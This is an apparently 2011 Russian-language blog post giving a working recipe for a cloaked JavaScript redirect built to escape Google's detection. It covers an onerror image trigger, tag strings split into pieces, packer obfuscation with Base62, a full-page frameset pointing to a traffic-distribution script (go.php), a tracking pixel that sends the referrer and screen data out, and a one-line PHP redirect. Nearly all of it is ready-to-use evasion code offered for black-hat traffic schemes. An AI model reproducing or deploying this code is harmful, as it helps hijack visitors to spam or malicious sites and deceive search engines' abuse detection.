Ещё один js-редирект, кот. не палится Гуглом
16 сентября 2011
Не знаю, как насчёт предыдущего. Но вот вам ещё один:
- Регим сайт на фрихосте. Пример: 001webs.com, freezoka.net
- Сразу после тэга
<body>размещаем такой код:<img src="pic.jpg" onerror="document.write('<script src=\'img.js\'></script>');"> - Берём такой код:
function load_menu(str) { return 'adv' } var a = '<scr'; var b = 'ipt l'; var c = 'an'; var d = 'a'; var z = a + b + c; document.write(z + 'guage="JavaScript1.1"' + ' src=' + load_menu('in') + '.js></scr' + 'ipt>'); - Пропускаем его через dean.edwards.name/packer/ с опцией Base62 encode (может ещё Shrink variables)
Получаем что-то вроде:eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('9 3(8){f\'e\'}0 a=\'<5\';0 b=\'4 l\';0 c=\'6\';0 d=\'a\';0 2=a+b+c;7.m(2+\'k="g.1"\'+\' j=\'+3(\'i\')+\'.h></5\'+\'4>\');',23,23,'var||z|load_menu|ipt|scr|an|document|str|function|||||adv|return|JavaScript1|js|in|src|guage||write'.split('|'),0,{})) - Сохраняем это в img.js
- Берём следующий код:
var str1 = "<"; var str2 = "frame"; var str3 = "set framebor"; var str4 = "der=0 fram"; var str5 = "espacing=0 bo"; var str6 = "rder=0 rows='10"; var str7 = "0%,*' noresiz"; var str8 = "e><frame name='s"; var str9 = "or' src='ht"; var str10 = "tp://наш."; var str11 = "домен.com/go.php"; var str12 = "?sid=17' nor"; var str14 = "esize></"; var str17 = "frameset>"; document.write(str1 + str2 + str3 + str4 + str5 + str6 + str7 + str8 + str9 + str10 + str11 + str12 + str14 + str17); document.write("<img src='http://counter.yadro.ru/hit;luxcash?t11.2;r" + escape(document.referrer) + ((typeof (screen) == "undefined") ? "" : ";s" + screen.width + "*" + screen.height + "*" + (screen.colorDepth ? screen.colorDepth : screen.pixelDepth)) + ";u" + escape(document.URL) + ";" + Math.random() + "' border=0 width=88 height=31>");
— вместо наш.домен.com подствляем свой хост, на котором есть скрипт TDS-ки go.php
- Как и с прошлым, пропускаем через /paker/ с Base62
- Сохраняем в adv.js
- Ну и в скрипте TDS-ки (http://наш.домен.com/go.php), в принципе, может быть всего одна строчка:
<?php header("Location: http://freebr.ru/");
Ссылки:
- JavaScript-(p,a,c,k,e,r) - упаковщик, зашифровщик js-кода
- Дешифровка сжатых
eval(function(p,a,c,k,e,d){-файлов (вставляйте весь код, включая eval()


